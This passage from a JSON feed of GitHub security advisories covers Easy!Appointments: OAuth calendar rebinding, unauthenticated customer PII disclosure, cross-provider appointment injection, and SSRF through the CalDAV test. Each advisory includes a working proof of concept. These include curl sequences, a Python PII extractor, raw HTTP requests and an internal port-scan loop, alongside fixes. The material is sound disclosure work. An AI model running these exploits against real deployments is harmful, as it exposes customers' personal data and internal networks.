https://accounts.google.com/o/oauth2/auth?...` - the server accepted the call from a non-owning caller. Verify the session-side effect on disk: `docker compose exec -T php-fpm cat storage/sessions/ea_session$(awk '$6==\"ea_session\"{print $7}' $ATTACKER_JAR)` shows `oauth_provider_id|s:1:\"\u003cVICTIM_ID\u003e\"` appended to the attacker's session data alongside their own `user_id|i:\u003cATTACKER_ID\u003e`.\n\n2. The attacker copies the `ea_session` cookie from `$ATTACKER_JAR` into a real browser, opens the redirect URL, signs in to Google with their own Google account, and grants consent. Google redirects back to `http://localhost/index.php/google/oauth_callback?code=...` and the app exchanges the code for an access + refresh token.\n\n3. Confirm the row was rebound. The token, sync flag, and calendar selection now belong to the attacker's Google account but sit on the victim's `ea_user_settings`:\n\n   ```bash\n   docker compose exec -T mysql mysql -uuser -ppassword easyappointments \\\n     -e \"SELECT name, value FROM ea_user_settings WHERE id_users=$VICTIM_ID AND name IN ('google_sync','google_token','google_calendar')\"\n   ```\n\n   Expected: `google_sync = 1`, `google_token = {\"access_token\":\"...\",\"refresh_token\":\"...\"}` (attacker's), `google_calendar = primary`.\n\n4. Trigger a sync. Any unauthenticated booking against the victim provider now lands in the attacker's calendar:\n\n   ```bash\n   CSRF=$(awk '$6==\"csrf_cookie\"{print $7}' /tmp/booking.cookies)\n   curl -s -c /tmp/booking.cookies http://localhost/ -o /dev/null\n   CSRF=$(awk '$6==\"csrf_cookie\"{print $7}' /tmp/booking.cookies)\n   curl -s -b /tmp/booking.cookies -X POST http://localhost/index.php/booking/register \\\n     --data-urlencode \"csrf_token=$CSRF\" \\\n     --data-urlencode \"post_data[manage_mode]=false\" \\\n     --data-urlencode \"post_data[appointment][id_users_provider]=$VICTIM_ID\" \\\n     --data-urlencode \"post_data[appointment][id_services]=1\" \\\n     --data-urlencode \"post_data[appointment][start_datetime]=2026-06-01 10:00:00\" \\\n     --data-urlencode \"post_data[appointment][end_datetime]=2026-06-01 10:30:00\" \\\n     --data-urlencode \"post_data[customer][first_name]=Carol\" \\\n     --data-urlencode \"post_data[customer][last_name]=Victim\" \\\n     --data-urlencode \"post_data[customer][email]=carol@target.test\"\n   ```\n\n   Expected: the attacker's Google calendar receives a new event whose title is the service name, with `Carol Victim \u003ccarol@target.test\u003e` listed as an attendee.\n\n### Impact\n\n- **Confidentiality:** Reads every appointment booked against the victim provider; the customer's first name, last name, and email attach to each Google calendar event as attendee data (`Google_sync.php:184-189`).\n- **Integrity:** Deletes any of the victim provider's appointments by removing the matching event from the attacker's calendar; the next `Console::sync` removes the local row (`Google.php:186-191`).\n- **Integrity:** Inserts arbitrary unavailability records onto the victim provider's schedule by creating events in the attacker's calendar (`Google.php:209-254`).\n\n### Suggestions to fix\n\n\u003e _This has not been tested - it is illustrative only._\n\nReject the call unless the caller is an admin or the provider whose row is about to be rewritten - the same gate `select_google_calendar` and `disable_provider_sync` already use.\n\n```diff\n public function oauth(string $provider_id): void\n {\n     if (!$this-\u003esession-\u003euserdata('user_id')) {\n         show_error('Forbidden', 403);\n     }\n\n+    if (cannot('edit', PRIV_USERS) \u0026\u0026 (int) session('user_id') !== (int) $provider_id) {\n+        abort(403, 'Forbidden');\n+    }\n+\n     // Store the provider id for use on the callback function.\n     session(['oauth_provider_id' =\u003e $provider_id]);\n\n     // Redirect browser to google user content page.\n     header('Location: ' . $this-\u003egoogle_sync-\u003eget_auth_url());\n }\n```\n\n### Credit\n\nDredsen, 2026.","origin":"UNSPECIFIED","severity":"LOW","published_at":"2026-07-29T16:29:26.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":3.1,"cvss_vector":"CVSS:3.1/AV:N/AC:H/PR:H/UI:R/S:U/C:L/I:L/A:N","references":["https://github.com/alextselegidis/easyappointments/security/advisories/GHSA-8hm4-r66f-29wr","https://nvd.nist.gov/vuln/detail/CVE-2026-52841","https://github.com/alextselegidis/easyappointments/commit/4b2d245d2cd2058dc76e05f6eb65b26699268471","https://github.com/alextselegidis/easyappointments/releases/tag/1.6.0","https://github.com/advisories/GHSA-8hm4-r66f-29wr"],"source_kind":"github","identifiers":["GHSA-8hm4-r66f-29wr","CVE-2026-52841"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-07-29T17:00:08.925Z","updated_at":"2026-10-12T08:02:15.749Z","epss_percentage":0.00206,"epss_percentile":0.09558,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS04aG00LXI2NmYtMjl3cs4ABgsH","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS04aG00LXI2NmYtMjl3cs4ABgsH","packages":[{"ecosystem":"packagist","package_name":"alextselegidis/easyappointments","versions":[{"first_patched_version":null,"vulnerable_version_range":"\u003c= 1.5.2"}],"purl":null}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS04aG00LXI2NmYtMjl3cs4ABgsH/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS14Z3I2LXBxanYtM3BmOM4ABgsG","url":"https://github.com/advisories/GHSA-xgr6-pqjv-3pf8","title":"Easy!Appointments has unauthenticated customer PII disclosure on booking reschedule page","description":"## Summary\n\nThe booking reschedule view at `/index.php/booking/reschedule/{appointment_hash}` (handled by `Booking::index()`) embeds the **entire customer record** as inline JavaScript (`const vars = {... \"customer_data\": {...}, ...}`) without authentication and without field whitelisting. Anyone in possession of the 12-character `appointment_hash` — which appears in plain text in reschedule emails, confirmation page URLs, and operator-side calendar links — can read every column of that customer's row in the `ea_users` table.\n\nVerified against v1.5.2 with a Docker reproduction; a single anonymous GET to the reschedule URL returns 13 customer fields including email, phone, full address, custom fields, timezone, language, LDAP DN, and `id_roles`.\n\n## Details\n\n### Root cause\n\n`application/controllers/Booking.php` at line 184 reads the hash from the request, fetches the appointment, then loads the customer with `Customers_model::find()` — which returns the full row, no projection. It then passes the full record into `script_vars()`, which inlines it into the response HTML as a JavaScript constant. The reschedule UI itself uses only `first_name` and `last_name`; everything else is exposed for no functional reason.\n\n```php\n// application/controllers/Booking.php (v1.5.2)\n$appointment_hash = html_vars('appointment_hash');         // line 184\nif (!empty($appointment_hash)) {\n    $manage_mode = true;\n    $results = $this-\u003eappointments_model-\u003eget(['hash' =\u003e $appointment_hash]);\n    // ...\n    $appointment = $results[0];\n    $provider = $this-\u003eproviders_model-\u003efind($appointment['id_users_provider']);\n    $customer = $this-\u003ecustomers_model-\u003efind($appointment['id_users_customer']);  // ← full row, no projection\n    $customer_token = md5(uniqid(mt_rand(), true));\n    $this-\u003ecache-\u003esave('customer-token-' . $customer_token, $customer['id'], 600);\n}\n\nscript_vars([\n    // ...\n    'customer_data' =\u003e $customer,                          // ← all PII inlined in HTML\n    'customer_token' =\u003e $customer_token,\n]);\n```\n\nThe URL pattern is in the CSRF exemption list (`application/config/config.php`, `csrf_exclude_uris` covers `booking/.*`) and no authentication middleware applies, by design — that's the intended customer-facing reschedule flow. The bug is the over-disclosure, not the lack of auth.\n\n### Source-to-Sink\n\n- **Source**: HTTP GET to `/index.php/booking/reschedule/{appointment_hash}` — unauthenticated; hash read via `html_vars('appointment_hash')` (Booking.php:184).\n- **Intermediate**: `appointments_model-\u003eget(['hash' =\u003e $hash])` → row fetched; `customers_model-\u003efind($appointment['id_users_customer'])` returns the full customers row.\n- **Sink**: `script_vars(['customer_data' =\u003e $customer, ...])` (Booking.php:254-270) emits inline `const vars = {..., \"customer_data\": {...}, ...}` JavaScript in the response HTML.\n\n### Fields disclosed\n\nConfirmed in PoC output (canary values used as markers):\n\n```\ncustomer_data: {\n  \"id\": 4,\n  \"first_name\": \"Victim\",\n  \"last_name\": \"Tester\",\n  \"email\": \"victim.disclosure@example.invalid\",\n  \"phone_number\": \"+1-555-0100\",\n  \"address\": \"100 Privacy Lane\",\n  \"city\": \"Sensitiveville\",\n  \"zip_code\": \"00001\",\n  \"timezone\": \"UTC\",\n  \"language\": \"english\",\n  \"custom_field_1\": \"CFLD1-CANARY\",\n  \"is_private\": \"0\",\n  \"ldap_dn\": null,\n  \"id_roles\": 3\n}\n```\n\nFields that would also leak when populated: `mobile_number`, `state`, `notes` (free-form, operators often store sensitive context here), `custom_field_2`–`custom_field_5`, `ldap_dn`.\n\n## Proof of Concept\n\n```python\n#!/usr/bin/env python3\n# poc_001_easyapp_pii_disclosure.py — exploit mode (extract from attached PoC)\nimport argparse, json, re, sys, requests\n\nPII_FIELDS = [\"email\",\"phone_number\",\"mobile_number\",\"address\",\"city\",\"state\",\n              \"zip_code\",\"notes\",\"custom_field_1\",\"custom_field_2\",\"custom_field_3\",\n              \"custom_field_4\",\"custom_field_5\",\"ldap_dn\"]\n\ndef exploit(target, hash_):\n    url = f\"{target}/index.php/booking/reschedule/{hash_}\"\n    r = requests.get(url, timeout=15); r.raise_for_status()\n    m = re.search(r\"const\\s+vars\\s*=\\s*(\\{.*?\\});\", r.text, re.DOTALL)\n    ea = json.loads(m.group(1))\n    customer = ea.get(\"customer_data\") or {}\n    leaked = 0\n    for f in PII_FIELDS:\n        if customer.get(f) not in (None, \"\", 0):\n            print(f\"  {f:18s} = {customer[f]!r}\"); leaked += 1\n    print(f\"[+] disclosed {leaked} PII fields without auth\")\n    return leaked\n\nif __name__ == \"__main__\":\n    p = argparse.ArgumentParser()\n    p.add_argument(\"--target\", default=\"http://localhost:8000\")\n    p.add_argument(\"--hash\", required=True)\n    a = p.parse_args()\n    sys.exit(0 if exploit(a.target, a.hash) \u003e 0 else 1)\n```\n\n### Reproduction\n\n1. Bring up the lab from the project's official `docker-compose.yml` (pinned to v1.5.2). Complete the one-time install at `/index.php/installation` (or `php index.php console install` from the php-fpm container).\n2. Book one appointment through the public flow (the bundled `--seed` helper does this automatically and prints the resulting hash).\n3. Run the unauthenticated extractor:\n   ```\n   python3 poc_001_easyapp_pii_disclosure.py --target http://localhost:8000 --hash \u003cHASH\u003e\n   ```\n4. Observed output (verified 5/5 consecutive runs):\n   ```\n   email              = 'victim.disclosure@example.invalid'\n   phone_number       = '+1-555-0100'\n   address            = '100 Privacy Lane'\n   city               = 'Sensitiveville'\n   zip_code           = '00001'\n   custom_field_1     = 'CFLD1-CANARY'\n   [+] DISCLOSURE CONFIRMED -- 6 PII field(s) accessible without auth.\n   ```\n\nThe PoC and its docker-compose reproduction environment are attached.\n\n## Impact\n\nA single anonymous GET request returns the customer's full record. The `appointment_hash` is not a secret to the customer — it appears in every reschedule email, every confirmation page URL, and the operator-side calendar reschedule link. So it leaks through the usual side channels: email forwarding, shared inboxes, mail-server logs, browser history, HTTP `Referer` headers when the customer clicks an outbound link from the reschedule page.\n\nFor a typical Easy!Appointments deployment (medical clinics, salons, legal/tutoring consultancies, hairdressers) the disclosed fields include regulated personal information — GDPR Article 5(1)(f) / Article 32 confidentiality, HIPAA contact-data exposure, and equivalent regional regimes. The free-form `notes` and the five configurable custom fields are frequently used by operators to store sensitive supplementary data (health context, insurance number, allergies, DOB, government ID).\n\nA secondary chain worth flagging: the same response emits `customer_token`, a 600-second cache key bound to the customer ID. If `display_delete_personal_information` is enabled, an attacker holding the hash can also trigger a customer-record deletion at `/privacy/delete_personal_information` using the disclosed token — escalating an information-disclosure issue into a destructive one. Treating that as a secondary concern, out of scope for this report.\n\n## Workarounds\n\nOperators can mitigate temporarily by:\n1. Disabling the reschedule link in confirmation emails (in `Booking_settings`/`Email_settings` templates), forcing customers to re-book instead.\n2. Disabling the public booking page entirely (`disable_booking` setting) for deployments that can tolerate it.\n\nNeither workaround removes the root cause; an attacker who already holds a hash can still extract.\n\n## Suggested fix\n\nWhitelist customer fields before inlining. The reschedule UI only needs first/last name:\n\n```diff\n--- a/application/controllers/Booking.php\n+++ b/application/controllers/Booking.php\n@@ -239,7 +239,12 @@ class Booking extends EA_Controller\n             $appointment = $results[0];\n             $provider = $this-\u003eproviders_model-\u003efind($appointment['id_users_provider']);\n-            $customer = $this-\u003ecustomers_model-\u003efind($appointment['id_users_customer']);\n+            $customer_record = $this-\u003ecustomers_model-\u003efind($appointment['id_users_customer']);\n+            $customer = [\n+                'id'         =\u003e $customer_record['id'],\n+                'first_name' =\u003e $customer_record['first_name'],\n+                'last_name'  =\u003e $customer_record['last_name'],\n+            ];\n             $customer_token = md5(uniqid(mt_rand(), true));\n```\n\nThe same pattern likely needs auditing in `Booking_confirmation::of()` and `Booking_cancellation::of()` — anywhere the customer record is loaded and inlined into a publicly-reachable view.\n\n## Credits\n\n- Discovered through source-code audit by peoplstar\n\n## References\n\n- `application/controllers/Booking.php` lines 184-270 (v1.5.2)\n- `application/models/Customers_model.php::find` — returns the full row, no projection\n- `application/config/config.php` `csrf_exclude_uris` — whitelisting `booking/.*`\n- Related prior PR #1753 (permission checks on appointment search) — same project, adjacent code, vendor previously accepted this class of issue.\n\n\n\n[docker-compose.yml](https://github.com/user-attachments/files/27761710/docker-compose.yml)\n[easyapp_pii_disclosure.py](https://github.com/user-attachments/files/27761711/easyapp_pii_disclosure.py)\n[requirements.txt](https://github.com/user-attachments/files/27761712/requirements.txt)\n[consistency_test.txt](https://github.com/user-attachments/files/27761722/consistency_test.txt)\n[leaked_customer_data.txt](https://github.com/user-attachments/files/27761723/leaked_customer_data.txt)","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2026-07-29T16:28:23.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":6.9,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N","references":["https://github.com/alextselegidis/easyappointments/security/advisories/GHSA-xgr6-pqjv-3pf8","https://nvd.nist.gov/vuln/detail/CVE-2026-52837","https://github.com/alextselegidis/easyappointments/commit/40bb0b31b531540bc9006efce4220eb0a437ed2b","https://github.com/alextselegidis/easyappointments/releases/tag/1.6.0","https://github.com/advisories/GHSA-xgr6-pqjv-3pf8"],"source_kind":"github","identifiers":["GHSA-xgr6-pqjv-3pf8","CVE-2026-52837"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-07-29T17:00:08.925Z","updated_at":"2026-10-16T06:01:45.993Z","epss_percentage":0.00564,"epss_percentile":0.45568,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS14Z3I2LXBxanYtM3BmOM4ABgsG","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS14Z3I2LXBxanYtM3BmOM4ABgsG","packages":[{"ecosystem":"packagist","package_name":"alextselegidis/easyappointments","versions":[{"first_patched_version":null,"vulnerable_version_range":"\u003c= 1.5.2"}],"purl":null}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS14Z3I2LXBxanYtM3BmOM4ABgsG/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS13OHhjLThnOTItdjc3aM4ABgsF","url":"https://github.com/advisories/GHSA-w8xc-8g92-v77h","title":"Easy!Appointments appointments/store and appointments/update allow cross-provider appointment injection — Authorization Bypass","description":"## Summary\n \nEasy!Appointments correctly filters provider-scoped appointments in the `appointments/search` response, proving that provider isolation is an intended security boundary. However, the direct mutation endpoints `appointments/store` and `appointments/update` only check generic appointment privileges and never verify that the submitted `id_users_provider` belongs to the current session.\n \nA normal authenticated provider can inject new appointments into another provider's schedule via `store`, or reassign existing appointments into a foreign provider's calendar via `update`. The `store` path contains an additional write-before-crash bug: the unauthorized row is committed to the database before the controller crashes on a type error, so the attacker receives an error response while the foreign appointment is already persisted.\n \n---\n \n## Root Cause — Step by Step Code Flow\n \n### Step 1 — Search correctly enforces provider isolation\nThe `search` endpoint filters out appointments belonging to other providers — proving provider isolation is an intended boundary:\n \n```php\n// Appointments.php\nif ($role_slug === DB_SLUG_PROVIDER) {\n    foreach ($appointments as $index =\u003e $appointment) {\n        if ((int) $appointment['id_users_provider'] !== (int) $user_id) {\n            unset($appointments[$index]);\n        }\n    }\n}\n```\n \n### Step 2 — store() only checks generic add permission\nThe store endpoint checks only whether the caller can add appointments in general — no provider ownership check:\n \n```php\n// Appointments.php line 74-152\nif (cannot('add', PRIV_APPOINTMENTS)) {\n    abort(403, 'Forbidden');\n}\n \n$appointment = json_decode(request('appointment'), true);\n```\n \n### Step 3 — Attacker-controlled id_users_provider saved directly\nThe controller whitelists and persists the appointment including the attacker-controlled provider ID:\n \n```php\n$this-\u003eappointments_model-\u003eonly($appointment, $this-\u003eallowed_appointment_fields);\n$appointment_id = $this-\u003eappointments_model-\u003esave($appointment);\n```\n \nNo check is performed to verify `id_users_provider` matches the current session.\n \n### Step 4 — Write-before-crash on store()\nAfter the unauthorized row is committed, the controller crashes on a type error:\n \n```php\n$appointment = $this-\u003eappointments_model-\u003efind($appointment); // array passed instead of $appointment_id\n```\n \nThe attacker receives a 500 error response, but the foreign appointment row is already in the database.\n \n### Step 5 — update() has the same missing ownership check\nThe update endpoint also accepts attacker-controlled `id_users_provider` with only a generic edit permission check:\n \n```php\n// Appointments.php line 178-196\nif (cannot('edit', PRIV_APPOINTMENTS)) {\n    abort(403, 'Forbidden');\n}\n \n$appointment = json_decode(request('appointment'), true);\n$appointment_id = $this-\u003eappointments_model-\u003esave($appointment);\n```\n \nA provider can reassign any appointment they can edit into a foreign provider's calendar.\n \n---\n \n## Proof of Concept\n \n**Attacker:** Provider with session ID `4`\n**Target:** Foreign provider with ID `2`\n \n**Step 1 — Inject appointment into foreign provider's schedule:**\n \n```http\nPOST /index.php/appointments/store HTTP/1.1\nHost: 127.0.0.1:18094\nCookie: \u003cprovider-4-session\u003e\nContent-Type: application/x-www-form-urlencoded\n \ncsrf_token=\u003ctoken\u003e\u0026appointment={\"start_datetime\":\"2026-05-29 15:00:00\",\"end_datetime\":\"2026-05-29 15:30:00\",\"notes\":\"foreign provider create by alicer\",\"id_users_provider\":2,\"id_users_customer\":3,\"id_services\":1}\n```\n \nResponse: `500 Internal Server Error` — type error on find()\n \n**But the row is committed:**\n```\nid  start_datetime        id_users_provider  notes\n6   2026-05-29 15:00:00   2                  foreign provider create by alicer\n```\n \nProvider 4 created a row that belongs to provider 2.\n \n---\n \n**Step 2 — Reassign existing appointment to foreign provider:**\n \n```http\nPOST /index.php/appointments/update HTTP/1.1\nHost: 127.0.0.1:18094\nCookie: \u003cprovider-4-session\u003e\nContent-Type: application/x-www-form-urlencoded\n \ncsrf_token=\u003ctoken\u003e\u0026appointment={\"id\":7,\"start_datetime\":\"2026-05-30 09:00:00\",\"end_datetime\":\"2026-05-30 09:30:00\",\"notes\":\"reassigned to provider 2 by alicer\",\"id_users_provider\":2,\"id_users_customer\":3,\"id_services\":1}\n```\n \nResponse: `200 OK`\n \n**Result:** Appointment 7 now belongs to provider 2 instead of provider 4.\n \n**Runtime verification result:**\n```\nattacker provider id:                    4\nforeign created appointment provider id: 2\nreassigned appointment provider id:      2\nprovider-visible appointments:           0\nPASS\n```\n \nThe attacker's appointment search returns 0 results because both proof appointments now belong to the foreign provider.\n \n---\n \n## Real World Impact\n \nIn a multi-provider Easy!Appointments deployment — a clinic, salon, or service business with multiple staff members — any authenticated provider can:\n \n- Inject fake appointments into a colleague's schedule causing confusion and double-bookings\n- Move their own appointments into another provider's calendar to hide or offload them\n- Disrupt scheduling integrity for staff and customers\n- Create unauthorized appointments that customers and admins attribute to the wrong provider\nThe write-before-crash bug in `store()` makes detection harder — the attacker receives an error response that may appear harmless while the unauthorized record is silently committed.\n \n---\n \n## Suggested Fix\n \n**In `store()` and `update()`:** Enforce that `id_users_provider` matches the current session provider ID for non-admin roles:\n \n```php\nif ($role_slug === DB_SLUG_PROVIDER) {\n    $appointment['id_users_provider'] = $user_id; // force own provider ID\n}\n```\n \n**Fix the write-before-crash bug in `store()`:**\n \n```php\n$appointment_id = $this-\u003eappointments_model-\u003esave($appointment);\n$appointment = $this-\u003eappointments_model-\u003efind($appointment_id); // use ID not array\n```\n \n---\n \n## Reporter\n**Yash Shendge (ashrexon)**\n2026-05-25","origin":"UNSPECIFIED","severity":"LOW","published_at":"2026-07-29T16:26:25.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":3.3,"cvss_vector":"CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:U/C:L/I:L/A:N","references":["https://github.com/alextselegidis/easyappointments/security/advisories/GHSA-w8xc-8g92-v77h","https://nvd.nist.gov/vuln/detail/CVE-2026-52839","https://github.com/alextselegidis/easyappointments/commit/725eafa647308846ce887657db12771a829e42ef","https://github.com/alextselegidis/easyappointments/releases/tag/1.6.0","https://github.com/advisories/GHSA-w8xc-8g92-v77h"],"source_kind":"github","identifiers":["GHSA-w8xc-8g92-v77h","CVE-2026-52839"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-07-29T17:00:08.925Z","updated_at":"2026-10-12T08:02:15.751Z","epss_percentage":0.00229,"epss_percentile":0.12544,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS13OHhjLThnOTItdjc3aM4ABgsF","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS13OHhjLThnOTItdjc3aM4ABgsF","packages":[{"ecosystem":"packagist","package_name":"alextselegidis/easyappointments","versions":[{"first_patched_version":"1.6.0","vulnerable_version_range":"\u003c= 1.5.2"}],"purl":null}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS13OHhjLThnOTItdjc3aM4ABgsF/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1wbTVwLTd3NWgtam01cc4ABgsE","url":"https://github.com/advisories/GHSA-pm5p-7w5h-jm5q","title":"Easy!Appointments has server-side request forgery in CalDAV connection test that exposes the deployment's internal network","description":"### Summary\n\n`Caldav::connect_to_server` at `application/controllers/Caldav.php:60` hands the request's `caldav_url` to a Guzzle `REPORT` call without scheme or host validation. A logged-in backend user (admin, provider, or secretary) reaches loopback, RFC1918, and link-local hosts on the deployment's network. The Guzzle exception path returns the upstream status code plus ~120 bytes of response body in the JSON `message` field (`Caldav.php:74-78`), so the SSRF is semi-blind.\n\n### Preconditions\n\n- Backend login on the target instance. Non-admin attackers supply their own `provider_id` and pass the per-row check at `Caldav.php:52`; admins can target any row.\n- Default deployment per the project's own `docker-compose.yml`, which puts `mysql`, `mailpit`, `phpmyadmin`, `baikal`, `openldap`, `phpldapadmin`, and `swagger-ui` on the same docker network as `php-fpm`.\n\n### Details\n\n```php\n// application/controllers/Caldav.php:45-82\npublic function connect_to_server(): void\n{\n    try {\n        $provider_id = request('provider_id');\n        $user_id = session('user_id');\n\n        if (cannot('edit', PRIV_USERS) \u0026\u0026 (int) $user_id !== (int) $provider_id) {\n            throw new RuntimeException('You do not have the required permissions for this task.');\n        }\n\n        $caldav_url = request('caldav_url');                                  // (*) attacker-controlled\n        $caldav_username = request('caldav_username');\n        $caldav_password = request('caldav_password');\n\n        $this-\u003ecaldav_sync-\u003etest_connection($caldav_url, $caldav_username, $caldav_password);  // (*) sink\n        ...\n    } catch (GuzzleException | InvalidArgumentException $e) {\n        json_response([\n            'success' =\u003e false,\n            'message' =\u003e $e-\u003egetMessage(),                                    // (*) upstream body reflected\n        ]);\n    }\n}\n```\n\nThe per-row check at line 52 only constrains *which provider record* the caller may write to; it does not constrain *where the outbound request lands*. `$caldav_url` flows unchanged into `Caldav_sync::test_connection` at `application/libraries/Caldav_sync.php:389`, which calls `get_http_client` to construct a Guzzle client whose `base_uri` is the attacker URL (`Caldav_sync.php:375-382`), then issues `REPORT` against it via `fetch_events` at `Caldav_sync.php:558`. The only input check in `get_http_client` is `filter_var($caldav_url, FILTER_VALIDATE_URL)` at line 363, which validates the URL grammar - not the host - so loopback, RFC1918, link-local, and arbitrary internal hostnames pass.\n\nWhen Guzzle raises `RequestException`, its `getMessage()` formats as ``Client error: `REPORT http://target/` resulted in a `405 Method Not Allowed` response: \u003cbody truncated to ~120 chars\u003e``. `Caldav::connect_to_server` returns that string verbatim in `message`. For `ConnectException` (port closed, DNS failure, TLS handshake error) the message names the host, port, and underlying cURL error number - enough to port-scan the deployment's network.\n\n### Proof of concept\n\n**Setup**\n\n1. Clone the repository, pin to the audited release, copy the sample config, and bring up the bundled stack:\n\n   ```bash\n   git clone https://github.com/alextselegidis/easyappointments\n   cd easyappointments\n   git checkout 1.5.2\n   cp config-sample.php config.php\n   docker compose up -d\n   until curl -fsS http://localhost/ -o /dev/null; do sleep 2; done\n   ```\n\n2. Run the console installer. The seed sets administrator's password to the literal string `administrator` (`application/libraries/Instance.php:99`):\n\n   ```bash\n   docker compose exec -T php-fpm php index.php console install\n   ```\n\n3. Log in as `administrator` (the project's session cookie is `ea_session`) and create an attacker provider. The default `require_phone_number=1` setting makes `phone_number` mandatory:\n\n   ```bash\n   export ADMIN_JAR=/tmp/admin.cookies\n   curl -s -c $ADMIN_JAR http://localhost/index.php/login -o /dev/null\n   CSRF=$(awk '$6==\"csrf_cookie\"{print $7}' $ADMIN_JAR)\n   curl -s -b $ADMIN_JAR -c $ADMIN_JAR -X POST http://localhost/index.php/login/validate \\\n     --data-urlencode \"csrf_token=$CSRF\" \\\n     --data-urlencode \"username=administrator\" \\\n     --data-urlencode \"password=administrator\" \u003e /dev/null\n\n   CSRF=$(awk '$6==\"csrf_cookie\"{print $7}' $ADMIN_JAR)\n   curl -s -b $ADMIN_JAR -X POST http://localhost/index.php/providers/store \\\n     --data-urlencode \"csrf_token=$CSRF\" \\\n     --data-urlencode 'provider[first_name]=Mal' \\\n     --data-urlencode 'provider[last_name]=Lory' \\\n     --data-urlencode 'provider[email]=mallory@x.test' \\\n     --data-urlencode 'provider[phone_number]=+10000000000' \\\n     --data-urlencode 'provider[timezone]=UTC' \\\n     --data-urlencode 'provider[language]=english' \\\n     --data-urlencode 'provider[settings][username]=mallory' \\\n     --data-urlencode 'provider[settings][password]=Attacker-pw-1' \\\n     --data-urlencode 'provider[settings][notifications]=0'\n   export ATTACKER_ID=$(docker compose exec -T mysql mysql -uuser -ppassword easyappointments -N -B \\\n     -e \"SELECT u.id FROM ea_users u JOIN ea_user_settings s ON s.id_users=u.id WHERE s.username='mallory'\")\n   ```\n\n4. Log in as the attacker into a dedicated cookie jar:\n\n   ```bash\n   export ATTACKER_JAR=/tmp/attacker.cookies\n   curl -s -c $ATTACKER_JAR http://localhost/index.php/login -o /dev/null\n   CSRF=$(awk '$6==\"csrf_cookie\"{print $7}' $ATTACKER_JAR)\n   curl -s -b $ATTACKER_JAR -c $ATTACKER_JAR -X POST http://localhost/index.php/login/validate \\\n     --data-urlencode \"csrf_token=$CSRF\" \\\n     --data-urlencode \"username=mallory\" \\\n     --data-urlencode \"password=Attacker-pw-1\" \u003e /dev/null\n   ```\n\n**Exploit**\n\n1. The attacker probes the `nginx` container that fronts Easy!Appointments itself, hitting a 404 path. They pass their own `$ATTACKER_ID` so the row-ownership check at `Caldav.php:52` succeeds; the URL has nothing to do with the row:\n\n   ```bash\n   CSRF=$(awk '$6==\"csrf_cookie\"{print $7}' $ATTACKER_JAR)\n   curl -s -b $ATTACKER_JAR -X POST http://localhost/index.php/caldav/connect_to_server \\\n     --data-urlencode \"csrf_token=$CSRF\" \\\n     --data-urlencode \"provider_id=$ATTACKER_ID\" \\\n     --data-urlencode \"caldav_url=http://nginx/some/404/path\" \\\n     --data-urlencode \"caldav_username=x\" \\\n     --data-urlencode \"caldav_password=x\"\n   ```\n\n   Observed (verified on a fresh `docker compose up`): `{\"success\":false,\"message\":\"Client error: \\`REPORT http:\\/\\/nginx\\/some\\/404\\/path\\/\\` resulted in a \\`404 Not Found\\` response:\\n\\n\u003c!doctype html\u003e\\n\u003chtml lang=\\\"en\\\" style=\\\"\\n    height: 100%;\\n\\\"\u003e\\n\u003chead\u003e\\n    \u003cmeta charset=\\\"utf-8\\\"\u003e\\n    \u003cmeta http-equiv=\\\"X- (truncated...)\\n\"}` - the upstream HTTP status and the first chunk of the response body are reflected in the JSON.\n\n2. The attacker scans the docker network. Each target produces a distinct exception shape that fingerprints the service. The maintainer can paste the loop verbatim:\n\n   ```bash\n   for target in mysql:3306 swagger-ui:8080 mailpit:8025 phpmyadmin nonexistent.invalid; do\n     CSRF=$(awk '$6==\"csrf_cookie\"{print $7}' $ATTACKER_JAR)\n     printf '\\n=== %s ===\\n' \"$target\"\n     curl -s -b $ATTACKER_JAR -X POST http://localhost/index.php/caldav/connect_to_server \\\n       --data-urlencode \"csrf_token=$CSRF\" \\\n       --data-urlencode \"provider_id=$ATTACKER_ID\" \\\n       --data-urlencode \"caldav_url=http://$target/\" \\\n       --data-urlencode \"caldav_username=x\" \\\n       --data-urlencode \"caldav_password=x\"\n   done\n   ```\n\n   Observed: `mysql:3306` returns `cURL error 1: Received HTTP/0.9 when not allowed` - port open, not HTTP. `swagger-ui:8080` returns `Client error: \\`REPORT http://swagger-ui:8080/\\` resulted in a \\`405 Not Allowed\\` response: \u003chtml\u003e\\r\\n\u003chead\u003e\u003ctitle\u003e405 Not Allowed\u003c/title\u003e...` - port open, HTTP, nginx fronts it. `mailpit:8025` and `phpmyadmin` (port 80) return `{\"success\":true}` - port open, HTTP, the CalDAV `REPORT` was accepted without a 4xx. `nonexistent.invalid` returns `cURL error 6: Could not resolve host`. Each shape lets the attacker enumerate which internal services exist.\n\n### Impact\n\n- **Confidentiality:** Reaches arbitrary HTTP and HTTPS hosts reachable from the `php-fpm` container, including loopback, the docker network's `mysql`, `mailpit`, `phpmyadmin`, `baikal`, `openldap` services, and any RFC1918 / link-local IP on the host network.\n- **Confidentiality:** Reads up to ~120 bytes of each upstream HTTP response and the exact connection-failure reason via the JSON `message` field, enough to fingerprint internal services and read short error pages, banners, or status documents.\n\n### Suggestions to fix\n\n\u003e _This has not been tested - it is illustrative only._\n\nReject non-`http`/`https` schemes and resolved private addresses before 